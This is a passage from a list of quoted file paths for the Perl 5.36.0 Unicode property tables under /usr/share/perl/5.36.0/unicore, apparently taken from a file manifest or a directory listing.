"/usr/share/perl/5.36.0/unicore/To/Tc.pl", "/usr/share/perl/5.36.0/unicore/To/Uc.pl", "/usr/share/perl/5.36.0/unicore/To/Vo.pl", "/usr/share/perl/5.36.0/unicore/To/WB.pl", "/usr/share/perl/5.36.0/unicore/To/_PerlLB.pl", "/usr/share/perl/5.36.0/unicore/To/_PerlSCX.pl", "/usr/share/perl/5.36.0/unicore/UCD.pl", "/usr/share/perl/5.36.0/unicore/lib/Age/NA.pl", "/usr/share/perl/5.36.0/unicore/lib/Age/V100.pl", "/usr/share/perl/5.36.0/unicore/lib/Age/V11.pl", "/usr/share/perl/5.36.0/unicore/lib/Age/V110.pl", "/usr/share/perl/5.36.0/unicore/lib/Age/V120.pl", "/usr/share/perl/5.36.0/unicore/lib/Age/V130.pl", "/usr/share/perl/5.36.0/unicore/lib/Age/V140.pl", "/usr/share/perl/5.36.0/unicore/lib/Age/V20.pl", "/usr/share/perl/5.36.0/unicore/lib/Age/V30.pl", "/usr/share/perl/5.36.0/unicore/lib/Age/V31.pl", "/usr/share/perl/5.36.0/unicore/lib/Age/V32.pl", "/usr/share/perl/5.36.0/unicore/lib/Age/V40.pl", "/usr/share/perl/5.36.0/unicore/lib/Age/V41.pl", "/usr/share/perl/5.36.0/unicore/lib/Age/V50.pl", "/usr/share/perl/5.36.0/unicore/lib/Age/V51.pl", "/usr/share/perl/5.36.0/unicore/lib/Age/V52.pl", "/usr/share/perl/5.36.0/unicore/lib/Age/V60.pl", "/usr/share/perl/5.36.0/unicore/lib/Age/V61.pl", "/usr/share/perl/5.36.0/unicore/lib/Age/V70.pl", "/usr/share/perl/5.36.0/unicore/lib/Age/V80.pl", "/usr/share/perl/5.36.0/unicore/lib/Age/V90.pl", "/usr/share/perl/5.36.0/unicore/lib/Alpha/Y.pl", "/usr/share/perl/5.36.0/unicore/lib/Bc/AL.pl", "/usr/share/perl/5.36.0/unicore/lib/Bc/AN.pl", "/usr/share/perl/5.36.0/unicore/lib/Bc/B.pl", "/usr/share/perl/5.36.0/unicore/lib/Bc/BN.pl", "/usr/share/perl/5.36.0/unicore/lib/Bc/CS.pl", "/usr/share/perl/5.36.0/unicore/lib/Bc/EN.pl", "/usr/share/perl/5.36.0/unicore/lib/Bc/ES.pl", "/usr/share/perl/5.36.0/unicore/lib/Bc/ET.pl", "/usr/share/perl/5.36.0/unicore/lib/Bc/L.pl", "/usr/share/perl/5.36.0/unicore/lib/Bc/NSM.pl", "/usr/share/perl/5.36.0/unicore/lib/Bc/ON.pl", "/usr/share/perl/5.36.0/unicore/lib/Bc/R.pl", "/usr/share/perl/5.36.0/unicore/lib/Bc/WS.pl", "/usr/share/perl/5.36.0/unicore/lib/BidiC/Y.pl", "/usr/share/perl/5.36.0/unicore/lib/BidiM/Y.pl", "/usr/share/perl/5.36.0/unicore/lib/Blk/NB.pl", "/usr/share/perl/5.36.0/unicore/lib/Bpt/C.pl", "/usr/share/perl/5.36.0/unicore/lib/Bpt/N.pl", "/usr/share/perl/5.36.0/unicore/lib/Bpt/O.pl", "/usr/share/perl/5.36.0/unicore/lib/CE/Y.pl", "/usr/share/perl/5.36.0/unicore/lib/CI/Y.pl", "/usr/share/perl/5.36.0/unicore/lib/CWCF/Y.pl", "/usr/share/perl/5.36.0/unicore/lib/CWCM/Y.pl", "/usr/share/perl/5.36.0/unicore/lib/CWKCF/Y.pl", "/usr/share/perl/5.36.0/unicore/lib/CWL/Y.pl", "/usr/share/perl/5.36.0/unicore/lib/CWT/Y.pl", "/usr/share/perl/5.36.0/unicore/lib/CWU/Y.pl", "/usr/share/perl/5.36.0/unicore/lib/Cased/Y.pl", "/usr/share/perl/5.36.0/unicore/lib/Ccc/A.pl", "/usr/share/perl/5.36.0/unicore/lib/Ccc/AL.pl", "/usr/share/perl/5.36.0/unicore/lib/Ccc/AR.pl", "/usr/share/perl/5.36.0/unicore/lib/Ccc/ATAR.pl", "/usr/share/perl/5.36.0/unicore/lib/Ccc/B.pl", "/usr/share/perl/5.36.0/unicore/lib/Ccc/BR.pl", "/usr/share/perl/5.36.0/unicore/lib/Ccc/DB.pl", "/usr/share/perl/5.36.0/unicore/lib/Ccc/NK.pl", "/usr/share/perl/5.36.0/unicore/lib/Ccc/NR.pl", "/usr/share/perl/5.36.0/unicore/lib/Ccc/OV.pl", "/usr/share/perl/5.36.0/unicore/lib/Ccc/VR.pl", "/usr/share/perl/5.36.0/unicore/lib/CompEx/Y.pl", "/usr/share/perl/5.36.0/unicore/lib/DI/Y.pl", "/usr/share/perl/5.36.0/unicore/lib/Dash/Y.pl", "/usr/share/perl/5.36.0/unicore/lib/Dep/Y.pl", "/usr/share/perl/5.36.0/unicore/lib/Dia/Y.pl", "/usr/share/perl/5.36.0/unicore/lib/Dt/Com.pl", "/usr/share/perl/5.36.0/unicore/lib/Dt/Enc.pl", "/usr/share/perl/5.36.0/unicore/lib/Dt/Fin.pl", "/usr/share/perl/5.36.0/unicore/lib/Dt/Font.pl", "/usr/share/perl/5.36.0/unicore/lib/Dt/Init.pl", "/usr/share/perl/5.36.0/unicore/lib/Dt/Iso.pl", "/usr/share/perl/5.36.0/unicore/lib/Dt/Med.pl", "/usr/share/perl/5.36.0/unicore/lib/Dt/Nar.pl", "/usr/share/perl/5.36.0/unicore/lib/Dt/Nb.pl", "/usr/share/perl/5.36.0/unicore/lib/Dt/NonCanon.pl", "/usr/share/perl/5.36.0/unicore/lib/Dt/Sqr.pl", "/usr/share/perl/5.36.0/unicore/lib/Dt/Sub.pl", "/usr/share/perl/5.36.0/unicore/lib/Dt/Sup.pl", "/usr/share/perl/5.36.0/unicore/lib/Dt/Vert.pl", "/usr/share/perl/5.36.0/unicore/lib/EBase/Y.pl", "/usr/share/perl/5.36.0/unicore/lib/EComp/Y.pl", "/usr/share/perl/5.36.0/unicore/lib/EPres/Y.pl", "/usr/share/perl/5.36.0/unicore/lib/Ea/A.pl", "/usr/share/perl/5.36.0/unicore/lib/Ea/H.pl", "/usr/share/perl/5.36.0/unicore/lib/Ea/N.pl", "/usr/share/perl/5.36.0/unicore/lib/Ea/Na.pl", "/usr/share/perl/5.36.0/unicore/lib/Ea/W.pl", "/usr/share/perl/5.36.0/unicore/lib/Emoji/Y.pl", "/usr/share/perl/5.36.0/unicore/lib/Ext/Y.pl", "/usr/share/perl/5.36.0/unicore/lib/ExtPict/Y.pl", "/usr/share/perl/5.36.0/unicore/lib/GCB/CN.pl", "/usr/share/perl/5.36.0/unicore/lib/GCB/EX.pl", "/usr/share/perl/5.36.0/unicore/lib/GCB/LV.pl", "/usr/share/perl/5.36.0/unicore/lib/GCB/LVT.pl", "/usr/share/perl/5.36.0/unicore/lib/GCB/PP.pl", "/usr/share/perl/5.36.0/unicore/lib/GCB/SM.pl", "/usr/share/perl/5.36.0/unicore/lib/GCB/XX.pl", "/usr/share/perl/5.36.0/unicore/lib/Gc/C.pl", "/usr/share/perl/5.36.0/unicore/lib/Gc/Cf.pl", "/usr/share/perl/5.36.0/unicore/lib/Gc/Cn.pl", "/usr/share/perl/5.36.0/unicore/lib/Gc/L.pl", "/usr/share/perl/5.36.0/unicore/lib/Gc/LC.pl", "/usr/share/perl/5.36.0/unicore/lib/Gc/Ll.pl", "/usr/share/perl/5.36.0/unicore/lib/Gc/Lm.pl", "/usr/share/perl/5.36.0/unicore/lib/Gc/Lo.pl", "/usr/share/perl/5.36.0/unicore/lib/Gc/Lu.pl", "/usr/share/perl/5.36.0/unicore/lib/Gc/M.pl", "/usr/share/perl/5.36.0/unicore/lib/Gc/Mc.pl", "/usr/share/perl/5.36.0/unicore/lib/Gc/Me.pl", "/usr/share/perl/5.36.0/unicore/lib/Gc/Mn.pl", "/usr/share/perl/5.36.0/unicore/lib/Gc/N.pl", "/usr/share/perl/5.36.0/unicore/lib/Gc/Nd.pl", "/usr/share/perl/5.36.0/unicore/lib/Gc/Nl.pl", "/usr/share/perl/5.36.0/unicore/lib/Gc/No.pl", "/usr/share/perl/5.36.0/unicore/lib/Gc/P.pl", "/usr/share/perl/5.36.0/unicore/lib/Gc/Pc.pl", "/usr/share/perl/5.36.0/unicore/lib/Gc/Pd.pl", "/usr/share/perl/5.36.0/unicore/lib/Gc/Pe.pl", "/usr/share/perl/5.36.0/unicore/lib/Gc/Pf.pl", "/usr/share/perl/5.36.0/unicore/lib/Gc/Pi.pl", "/usr/share/perl/5.36.0/unicore/lib/Gc/Po.pl", "/usr/share/perl/5.36.0/unicore/lib/Gc/Ps.pl", "/usr/share/perl/5.36.0/unicore/lib/Gc/S.pl", "/usr/share/perl/5.36.0/unicore/lib/Gc/Sc.pl", "/usr/share/perl/5.36.0/unicore/lib/Gc/Sk.pl", "/usr/share/perl/5.36.0/unicore/lib/Gc/Sm.pl", "/usr/share/perl/5.36.0/unicore/lib/Gc/So.pl", "/usr/share/perl/5.36.0/unicore/lib/Gc/Z.pl", "/usr/share/perl/5.36.0/unicore/lib/Gc/Zs.pl", "/usr/share/perl/5.36.0/unicore/lib/GrBase/Y.pl", "/usr/share/perl/5.36.0/unicore/lib/GrExt/Y.pl", "/usr/share/perl/5.36.0/unicore/lib/Hex/Y.pl", "/usr/share/perl/5.36.0/unicore/lib/Hst/NA.pl", "/usr/share/perl/5.36.0/unicore/lib/Hyphen/T.pl", "/usr/share/perl/5.36.0/unicore/lib/IDC/Y.pl", "/usr/share/perl/5.36.0/unicore/lib/IDS/Y.pl", "/usr/share/perl/5.36.0/unicore/lib/IdStatus/Allowed.pl", "/usr/share/perl/5.36.0/unicore/lib/IdStatus/Restrict.pl", "/usr/share/perl/5.36.0/unicore/lib/IdType/DefaultI.pl", "/usr/share/perl/5.36.0/unicore/lib/IdType/Exclusio.pl", "/usr/share/perl/5.36.0/unicore/lib/IdType/Inclusio.pl", "/usr/share/perl/5.36.0/unicore/lib/IdType/LimitedU.pl", "/usr/share/perl/5.36.0/unicore/lib/IdType/NotChara.pl", "/usr/share/perl/5.36.0/unicore/lib/IdType/NotNFKC.pl", "/usr/share/perl/5.36.0/unicore/lib/IdType/NotXID.pl", "/usr/share/perl/5.36.0/unicore/lib/IdType/Obsolete.pl", "/usr/share/perl/5.36.0/unicore/lib/IdType/Recommen.pl", "/usr/share/perl/5.36.0/unicore/lib/IdType/Technica.pl", "/usr/share/perl/5.36.0/unicore/lib/IdType/Uncommon.pl", "/usr/share/perl/5.36.0/unicore/lib/Ideo/Y.pl", "/usr/share/perl/5.36.0/unicore/lib/In/10_0.pl", "/usr/share/perl/5.36.0/unicore/lib/In/11_0.pl", "/usr/share/perl/5.36.0/unicore/lib/In/12_0.pl", "/usr/share/perl/5.36.0/unicore/lib/In/12_1.pl", "/usr/share/perl/5.36.0/unicore/lib/In/13_0.pl", "/usr/share/perl/5.36.0/unicore/lib/In/14_0.pl", "/usr/share/perl/5.36.0/unicore/lib/In/2_0.pl", "/usr/share/perl/5.36.0/unicore/lib/In/2_1.pl", "/usr/share/perl/5.36.0/unicore/lib/In/3_0.pl", "/usr/share/perl/5.36.0/unicore/lib/In/3_1.pl", "/usr/share/perl/5.36.0/unicore/lib/In/3_2.pl", "/usr/share/perl/5.36.0/unicore/lib/In/4_0.pl", "/usr/share/perl/5.36.0/unicore/lib/In/4_1.pl", "/usr/share/perl/5.36.0/unicore/lib/In/5_0.pl", "/usr/share/perl/5.36.0/unicore/lib/In/5_1.pl", "/usr/share/perl/5.36.0/unicore/lib/In/5_2.pl", "/usr/share/perl/5.36.0/unicore/lib/In/6_0.pl", "/usr/share/perl/5.36.0/unicore/lib/In/6_1.pl", "/usr/share/perl/5.36.0/unicore/lib/In/6_2.pl", "/usr/share/perl/5.36.0/unicore/lib/In/6_3.pl", "/usr/share/perl/5.36.0/unicore/lib/In/7_0.pl", "/usr/share/perl/5.36.0/unicore/lib/In/8_0.pl", "/usr/share/perl/5.36.0/unicore/lib/In/9_0.pl", "/usr/share/perl/5.36.0/unicore/lib/InPC/Bottom.pl", "/usr/share/perl/5.36.0/unicore/lib/InPC/BottomAn.pl", "/usr/share/perl/5.36.0/unicore/lib/InPC/Left.pl", "/usr/share/perl/5.36.0/unicore/lib/InPC/LeftAndR.pl", "/usr/share/perl/5.36.0/unicore/lib/InPC/NA.pl", "/usr/share/perl/5.36.0/unicore/lib/InPC/Overstru.pl", "/usr/share/perl/5.36.0/unicore/lib/InPC/Right.pl", "/usr/share/perl/5.36.0/unicore/lib/InPC/Top.pl", "/usr/share/perl/5.36.0/unicore/lib/InPC/TopAndBo.pl", "/usr/share/perl/5.36.0/unicore/lib/InPC/TopAndL2.pl", "/usr/share/perl/5.36.0/unicore/lib/InPC/TopAndLe.pl", "/usr/share/perl/5.36.0/unicore/lib/InPC/TopAndRi.pl", "/usr/share/perl/5.36.0/unicore/lib/InPC/VisualOr.pl", "/usr/share/perl/5.36.0/unicore/lib/InSC/Avagraha.pl", "/usr/share/perl/5.36.0/unicore/lib/InSC/Bindu.pl", "/usr/share/perl/5.36.0/unicore/lib/InSC/Cantilla.pl", "/usr/share/perl/5.36.0/unicore/lib/InSC/Consona2.pl", "/usr/share/perl/5.36.0/unicore/lib/InSC/Consona3.pl", "/usr/share/perl/5.36.0/unicore/lib/InSC/Consona4.pl", "/usr/share/perl/5.36.0/unicore/lib/InSC/Consona5.pl", "/usr/share/perl/5.36.0/unicore/lib/InSC/Consona6.pl", "/usr/share/perl/5.36.0/unicore/lib/InSC/Consona7.pl", "/usr/share/perl/5.36.0/unicore/lib/InSC/Consona8.pl", "/usr/share/perl/5.36.0/unicore/lib/InSC/Consonan.pl", "/usr/share/perl/5.36.0/unicore/lib/InSC/Invisibl.pl", "/usr/share/perl/5.36.0/unicore/lib/InSC/Nukta.pl", "/usr/share/perl/5.36.0/unicore/lib/InSC/Number.pl", "/usr/share/perl/5.36.0/unicore/lib/InSC/Other.pl", "/usr/share/perl/5.36.0/unicore/lib/InSC/PureKill.pl", "/usr/share/perl/5.36.0/unicore/lib/InSC/Syllable.pl", "/usr/share/perl/5.36.0/unicore/lib/InSC/ToneMark.pl", "/usr/share/perl/5.36.0/unicore/lib/InSC/Virama.pl", "/usr/share/perl/5.36.0/unicore/lib/InSC/Visarga.pl", "/usr/share/perl/5.36.0/unicore/lib/InSC/Vowel.pl", "/usr/share/perl/5.36.0/unicore/lib/InSC/VowelDep.pl", "/usr/share/perl/5.36.0/unicore/lib/InSC/VowelInd.pl", "/usr/share/perl/5.36.0/unicore/lib/Jg/Ain.pl", "/usr/share/perl/5.36.0/unicore/lib/Jg/Alef.pl", "/usr/share/perl/5.36.0/unicore/lib/Jg/Beh.pl", "/usr/share/perl/5.36.0/unicore/lib/Jg/Dal.pl", "/usr/share/perl/5.36.0/unicore/lib/Jg/FarsiYeh.pl", "/usr/share/perl/5.36.0/unicore/lib/Jg/Feh.pl", "/usr/share/perl/5.36.0/unicore/lib/Jg/Gaf.pl", "/usr/share/perl/5.36.0/unicore/lib/Jg/Hah.pl", "/usr/share/perl/5.36.0/unicore/lib/Jg/HanifiRo.pl", "/usr/share/perl/5.36.0/unicore/lib/Jg/Kaf.pl", "/usr/share/perl/5.36.0/unicore/lib/Jg/Lam.pl", "/usr/share/perl/5.36.0/unicore/lib/Jg/NoJoinin.pl", "/usr/share/perl/5.36.0/unicore/lib/Jg/Noon.pl", "/usr/share/perl/5.36.0/unicore/lib/Jg/Qaf.pl", "/usr/share/perl/5.36.0/unicore/lib/Jg/Reh.pl", "/usr/share/perl/5.36.0/unicore/lib/Jg/Sad.pl", "/usr/share/perl/5.36.0/unicore/lib/Jg/Seen.pl", "/usr/share/perl/5.36.0/unicore/lib/Jg/Tah.pl", "/usr/share/perl/5.36.0/unicore/lib/Jg/Waw.pl", "/usr/share/perl/5.36.0/unicore/lib/Jg/Yeh.pl", "/usr/share/perl/5.36.0/unicore/lib/Jt/C.pl", "/usr/share/perl/5.36.0/unicore/lib/Jt/D.pl", "/usr/share/perl/5.36.0/unicore/lib/Jt/L.pl", "/usr/share/perl/5.36.0/unicore/lib/Jt/R.pl", "/usr/share/perl/5.36.0/unicore/lib/Jt/T.pl", "/usr/share/perl/5.36.0/unicore/lib/Jt/U.pl", "/usr/share/perl/5.36.0/unicore/lib/Lb/AI.pl", "/usr/share/perl/5.36.0/unicore/lib/Lb/AL.pl", "/usr/share/perl/5.36.0/unicore/lib/Lb/BA.pl", "/usr/share/perl/5.36.0/unicore/lib/Lb/BB.pl", "/usr/share/perl/5.36.0/unicore/lib/Lb/CJ.pl", "/usr/share/perl/5.36.0/unicore/lib/Lb/CL.pl", "/usr/share/perl/5.36.0/unicore/lib/Lb/CM.pl", "/usr/share/perl/5.36.0/unicore/lib/Lb/EX.pl", "/usr/share/perl/5.36.0/unicore/lib/Lb/GL.pl", "/usr/share/perl/5.36.0/unicore/lib/Lb/ID.pl", "/usr/share/perl/5.36.0/unicore/lib/Lb/IN.pl", "/usr/share/perl/5.36.0/unicore/lib/Lb/IS.pl", "/usr/share/perl/5.36.0/unicore/lib/Lb/NS.pl", "/usr/share/perl/5.36.0/unicore/lib/Lb/NU.pl", "/usr/share/perl/5.36.0/unicore/lib/Lb/OP.pl", "/usr/share/perl/5.36.0/unicore/lib/Lb/PO.pl", "/usr/share/perl/5.36.0/unicore/lib/Lb/PR.pl", "/usr/share/perl/5.36.0/unicore/lib/Lb/QU.pl", "/usr/share/perl/5.36.0/unicore/lib/Lb/SA.pl", "/usr/share/perl/5.36.0/unicore/lib/Lb/XX.pl", "/usr/share/perl/5.36.0/unicore/lib/Lower/Y.pl", "/usr/share/perl/5.36.0/unicore/lib/Math/Y.pl", "/usr/share/perl/5.36.0/unicore/lib/NFCQC/M.pl", "/usr/share/perl/5.36.0/unicore/lib/NFCQC/Y.pl", "/usr/share/perl/5.36.0/unicore/lib/NFDQC/N.pl", "/usr/share/perl/5.36.0/unicore/lib/NFDQC/Y.pl", "/usr/share/perl/5.36.0/unicore/lib/NFKCQC/N.pl", "/usr/share/perl/5.36.0/unicore/lib/NFKCQC/Y.pl", "/usr/share/perl/5.36.0/unicore/lib/NFKDQC/N.pl", "/usr/share/perl/5.36.0/unicore/lib/NFKDQC/Y.pl", "/usr/share/perl/5.36.0/unicore/lib/Nt/Di.pl", "/usr/share/perl/5.36.0/unicore/lib/Nt/None.pl", "/usr/share/perl/5.36.0/unicore/lib/Nt/Nu.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/0.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/1.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/10.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/100.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/1000.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/10000.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/100000.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/11.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/12.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/13.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/14.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/15.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/16.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/17.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/18.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/19.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/1_16.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/1_2.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/1_3.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/1_4.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/1_6.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/1_8.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/2.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/20.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/200.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/2000.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/20000.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/2_3.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/3.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/30.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/300.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/3000.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/30000.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/3_16.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/3_4.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/4.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/40.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/400.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/4000.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/40000.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/5.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/50.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/500.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/5000.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/50000.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/6.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/60.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/600.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/6000.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/60000.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/7.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/70.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/700.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/7000.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/70000.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/8.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/80.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/800.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/8000.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/80000.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/9.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/90.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/900.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/9000.pl", "/usr/share/perl/5.36.0/unicore/lib/Nv/90000.pl", "/usr/share/perl/5.36.0/unicore/lib/PCM/Y.pl", "/usr/share/perl/5.36.0/unicore/lib/PatSyn/Y.pl", "/usr/share/perl/5.36.0/unicore/lib/Perl/Alnum.pl", "/usr/share/perl/5.36.0/unicore/lib/Perl/Assigned.pl", "/usr/share/perl/5.36.0/unicore/lib/Perl/Blank.pl", "/usr/share/perl/5.36.0/unicore/lib/Perl/Graph.pl", "/usr/share/perl/5.36.0/unicore/lib/Perl/PerlWord.pl", "/usr/share/perl/5.36.0/unicore/lib/Perl/PosixPun.pl", "/usr/share/perl/5.36.0/unicore/lib/Perl/Print.pl", "/usr/share/perl/5.36.0/unicore/lib/Perl/SpacePer.pl", "/usr/share/perl/5.36.0/unicore/lib/Perl/Title.pl", "/usr/share/perl/5.36.0/unicore/lib/Perl/Word.pl", "/usr/share/perl/5.36.0/unicore/lib/Perl/XPosixPu.pl", "/usr/share/perl/5.36.0/unicore/lib/Perl/_PerlAny.pl", "/usr/share/perl/5.36.0/unicore/lib/Perl/_PerlCh2.pl", "/usr/share/perl/5.36.0/unicore/lib/Perl/_PerlCha.pl", "/usr/share/perl/5.36.0/unicore/lib/Perl/_PerlFol.pl", "/usr/share/perl/5.36.0/unicore/lib/Perl/_PerlIDC.pl", "/usr/share/perl/5.36.0/unicore/lib/Perl/_PerlIDS.pl", "/usr/share/perl/5.36.0/unicore/lib/Perl/_PerlIsI.pl", "/usr/share/perl/5.36.0/unicore/lib/Perl/_PerlNch.pl", "/usr/share/perl/5.36.0/unicore/lib/Perl/_PerlPat.pl", "/usr/share/perl/5.36.0/unicore/lib/Perl/_PerlPr2.pl", "/usr/share/perl/5.36.0/unicore/lib/Perl/_PerlPro.pl", "/usr/share/perl/5.36.0/unicore/lib/Perl/_PerlQuo.pl", "/usr/share/perl/5.36.0/unicore/lib/QMark/Y.pl", "/usr/share/perl/5.36.0/unicore/lib/SB/AT.pl", "/usr/share/perl/5.36.0/unicore/lib/SB/CL.pl", "/usr/share/perl/5.36.0/unicore/lib/SB/EX.pl", "/usr/share/perl/5.36.0/unicore/lib/SB/FO.pl", "/usr/share/perl/5.36.0/unicore/lib/SB/LE.pl", "/usr/share/perl/5.36.0/unicore/lib/SB/LO.pl", "/usr/share/perl/5.36.0/unicore/lib/SB/NU.pl", "/usr/share/perl/5.36.0/unicore/lib/SB/SC.pl", "/usr/share/perl/5.36.0/unicore/lib/SB/ST.pl", "/usr/share/perl/5.36.0/unicore/lib/SB/Sp.pl", "/usr/share/perl/5.36.0/unicore/lib/SB/UP.pl", "/usr/share/perl/5.36.0/unicore/lib/SB/XX.pl", "/usr/share/perl/5.36.0/unicore/lib/SD/Y.pl", "/usr/share/perl/5.36.0/unicore/lib/STerm/Y.pl", "/usr/share/perl/5.36.0/unicore/lib/Sc/Arab.pl", "/usr/share/perl/5.36.0/unicore/lib/Sc/Beng.pl", "/usr/share/perl/5.36.0/unicore/lib/Sc/Cprt.pl", "/usr/share/perl/5.36.0/unicore/lib/Sc/Cyrl.pl", "/usr/share/perl/5.36.0/unicore/lib/Sc/Deva.pl", "/usr/share/perl/5.36.0/unicore/lib/Sc/Dupl.pl", "/usr/share/perl/5.36.0/unicore/lib/Sc/Geor.pl", "/usr/share/perl/5.36.0/unicore/lib/Sc/Glag.pl", "/usr/share/perl/5.36.0/unicore/lib/Sc/Gong.pl", "/usr/share/perl/5.36.0/unicore/lib/Sc/Gonm.pl", "/usr/share/perl/5.36.0/unicore/lib/Sc/Gran.pl", "/usr/share/perl/5.36.0/unicore/lib/Sc/Grek.pl", "/usr/share/perl/5.36.0/unicore/lib/Sc/Gujr.pl", "/usr/share/perl/5.36.0/unicore/lib/Sc/Guru.pl", "/usr/share/perl/5.36.0/unicore/lib/Sc/Han.pl", "/usr/share/perl/5.36.0/unicore/lib/Sc/Hang.pl", "/usr/share/perl/5.36.0/unicore/lib/Sc/Hira.pl", "/usr/share/perl/5.36.0/unicore/lib/Sc/Kana.pl", "/usr/share/perl/5.36.0/unicore/lib/Sc/Knda.pl", "/usr/share/perl/5.36.0/unicore/lib/Sc/Latn.pl", "/usr/share/perl/5.36.0/unicore/lib/Sc/Limb.pl", "/usr/share/perl/5.36.0/unicore/lib/Sc/Linb.pl", "/usr/share/perl/5.36.0/unicore/lib/Sc/Mlym.pl", "/usr/share/perl/5.36.0/unicore/lib/Sc/Mong.pl", "/usr/share/perl/5.36.0/unicore/lib/Sc/Mult.pl", "/usr/share/perl/5.36.0/unicore/lib/Sc/Orya.pl", "/usr/share/perl/5.36.0/unicore/lib/Sc/Sinh.pl", "/usr/share/perl/5.36.0/unicore/lib/Sc/Syrc.pl", "/usr/share/perl/5.36.0/unicore/lib/Sc/Taml.pl", "/usr/share/perl/5.36.0/unicore/lib/Sc/Telu.pl", "/usr/share/perl/5.36.0/unicore/lib/Sc/Zinh.pl", "/usr/share/perl/5.36.0/unicore/lib/Sc/Zyyy.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Adlm.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Arab.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Armn.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Beng.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Bhks.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Bopo.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Cakm.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Cham.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Copt.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Cprt.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Cyrl.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Deva.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Diak.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Dupl.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Ethi.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Geor.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Glag.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Gong.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Gonm.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Gran.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Grek.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Gujr.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Guru.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Han.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Hang.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Hebr.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Hira.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Hmng.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Hmnp.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Kana.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Khar.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Khmr.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Khoj.pl", 